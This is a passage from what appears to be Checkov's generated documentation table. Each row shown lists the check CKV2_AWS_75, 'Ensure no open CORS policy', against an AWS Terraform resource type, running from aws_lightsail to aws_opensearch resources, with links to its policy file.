policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2996 | CKV2_AWS_75 | resource | aws_lightsail_lb_stickiness_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2997 | CKV2_AWS_75 | resource | aws_lightsail_static_ip | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2998 | CKV2_AWS_75 | resource | aws_lightsail_static_ip_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2999 | CKV2_AWS_75 | resource | aws_load_balancer_backend_server_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3000 | CKV2_AWS_75 | resource | aws_load_balancer_listener_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3001 | CKV2_AWS_75 | resource | aws_load_balancer_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3002 | CKV2_AWS_75 | resource | aws_location_geofence_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3003 | CKV2_AWS_75 | resource | aws_location_map | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3004 | CKV2_AWS_75 | resource | aws_location_place_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3005 | CKV2_AWS_75 | resource | aws_location_route_calculator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3006 | CKV2_AWS_75 | resource | aws_location_tracker | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3007 | CKV2_AWS_75 | resource | aws_location_tracker_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3008 | CKV2_AWS_75 | resource | aws_m2_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3009 | CKV2_AWS_75 | resource | aws_m2_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3010 | CKV2_AWS_75 | resource | aws_m2_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3011 | CKV2_AWS_75 | resource | aws_macie2_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3012 | CKV2_AWS_75 | resource | aws_macie2_classification_export_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3013 | CKV2_AWS_75 | resource | aws_macie2_classification_job | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3014 | CKV2_AWS_75 | resource | aws_macie2_custom_data_identifier | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3015 | CKV2_AWS_75 | resource | aws_macie2_findings_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3016 | CKV2_AWS_75 | resource | aws_macie2_invitation_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3017 | CKV2_AWS_75 | resource | aws_macie2_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3018 | CKV2_AWS_75 | resource | aws_macie2_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3019 | CKV2_AWS_75 | resource | aws_macie_member_account_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3020 | CKV2_AWS_75 | resource | aws_macie_s3_bucket_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3021 | CKV2_AWS_75 | resource | aws_main_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3022 | CKV2_AWS_75 | resource | aws_media_convert_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3023 | CKV2_AWS_75 | resource | aws_media_package_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3024 | CKV2_AWS_75 | resource | aws_media_packagev2_channel_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3025 | CKV2_AWS_75 | resource | aws_media_store_container | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3026 | CKV2_AWS_75 | resource | aws_media_store_container_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3027 | CKV2_AWS_75 | resource | aws_medialive_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3028 | CKV2_AWS_75 | resource | aws_medialive_input | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3029 | CKV2_AWS_75 | resource | aws_medialive_input_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3030 | CKV2_AWS_75 | resource | aws_medialive_multiplex | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3031 | CKV2_AWS_75 | resource | aws_medialive_multiplex_program | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3032 | CKV2_AWS_75 | resource | aws_memorydb_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3033 | CKV2_AWS_75 | resource | aws_memorydb_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3034 | CKV2_AWS_75 | resource | aws_memorydb_multi_region_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3035 | CKV2_AWS_75 | resource | aws_memorydb_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3036 | CKV2_AWS_75 | resource | aws_memorydb_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3037 | CKV2_AWS_75 | resource | aws_memorydb_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3038 | CKV2_AWS_75 | resource | aws_memorydb_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3039 | CKV2_AWS_75 | resource | aws_mq_broker | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3040 | CKV2_AWS_75 | resource | aws_mq_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3041 | CKV2_AWS_75 | resource | aws_msk_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3042 | CKV2_AWS_75 | resource | aws_msk_cluster_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3043 | CKV2_AWS_75 | resource | aws_msk_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3044 | CKV2_AWS_75 | resource | aws_msk_replicator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3045 | CKV2_AWS_75 | resource | aws_msk_scram_secret_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3046 | CKV2_AWS_75 | resource | aws_msk_serverless_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3047 | CKV2_AWS_75 | resource | aws_msk_single_scram_secret_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3048 | CKV2_AWS_75 | resource | aws_msk_vpc_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3049 | CKV2_AWS_75 | resource | aws_mskconnect_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3050 | CKV2_AWS_75 | resource | aws_mskconnect_custom_plugin | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3051 | CKV2_AWS_75 | resource | aws_mskconnect_worker_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3052 | CKV2_AWS_75 | resource | aws_mwaa_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3053 | CKV2_AWS_75 | resource | aws_nat_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3054 | CKV2_AWS_75 | resource | aws_neptune_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3055 | CKV2_AWS_75 | resource | aws_neptune_cluster_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3056 | CKV2_AWS_75 | resource | aws_neptune_cluster_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3057 | CKV2_AWS_75 | resource | aws_neptune_cluster_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3058 | CKV2_AWS_75 | resource | aws_neptune_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3059 | CKV2_AWS_75 | resource | aws_neptune_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3060 | CKV2_AWS_75 | resource | aws_neptune_global_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3061 | CKV2_AWS_75 | resource | aws_neptune_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3062 | CKV2_AWS_75 | resource | aws_neptune_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3063 | CKV2_AWS_75 | resource | aws_network_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3064 | CKV2_AWS_75 | resource | aws_network_acl_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3065 | CKV2_AWS_75 | resource | aws_network_acl_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3066 | CKV2_AWS_75 | resource | aws_network_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3067 | CKV2_AWS_75 | resource | aws_network_interface_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3068 | CKV2_AWS_75 | resource | aws_network_interface_sg_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3069 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3070 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3071 | CKV2_AWS_75 | resource | aws_networkfirewall_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3072 | CKV2_AWS_75 | resource | aws_networkfirewall_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3073 | CKV2_AWS_75 | resource | aws_networkfirewall_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3074 | CKV2_AWS_75 | resource | aws_networkfirewall_tls_inspection_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3075 | CKV2_AWS_75 | resource | aws_networkmanager_attachment_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3076 | CKV2_AWS_75 | resource | aws_networkmanager_connect_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3077 | CKV2_AWS_75 | resource | aws_networkmanager_connect_peer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3078 | CKV2_AWS_75 | resource | aws_networkmanager_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3079 | CKV2_AWS_75 | resource | aws_networkmanager_core_network | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3080 | CKV2_AWS_75 | resource | aws_networkmanager_core_network_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3081 | CKV2_AWS_75 | resource | aws_networkmanager_customer_gateway_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3082 | CKV2_AWS_75 | resource | aws_networkmanager_device | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3083 | CKV2_AWS_75 | resource | aws_networkmanager_dx_gateway_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3084 | CKV2_AWS_75 | resource | aws_networkmanager_global_network | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3085 | CKV2_AWS_75 | resource | aws_networkmanager_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3086 | CKV2_AWS_75 | resource | aws_networkmanager_link_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3087 | CKV2_AWS_75 | resource | aws_networkmanager_site | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3088 | CKV2_AWS_75 | resource | aws_networkmanager_site_to_site_vpn_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3089 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_connect_peer_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3090 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_peering | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3091 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_registration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3092 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_route_table_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3093 | CKV2_AWS_75 | resource | aws_networkmanager_vpc_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3094 | CKV2_AWS_75 | resource | aws_networkmonitor_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3095 | CKV2_AWS_75 | resource | aws_networkmonitor_probe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3096 | CKV2_AWS_75 | resource | aws_oam_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3097 | CKV2_AWS_75 | resource | aws_oam_sink | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3098 | CKV2_AWS_75 | resource | aws_oam_sink_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3099 | CKV2_AWS_75 | resource | aws_opensearch_authorize_vpc_endpoint_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3100 | CKV2_AWS_75 | resource | aws_opensearch_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3101 | CKV2_AWS_75 | resource | aws_opensearch_domain_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3102 | CKV2_AWS_75 | resource | aws_opensearch_domain_saml_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3103 | CKV2_AWS_75 | resource | aws_opensearch_inbound_connection_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3104 | CKV2_AWS_75 | resource | aws_opensearch_outbound_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3105 | CKV2_AWS_75 | resource | aws_opensearch_package | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3106 | CKV2_AWS_75 | resource | aws_opensearch_package_association | Ensure no open CORS policy | Terraform | 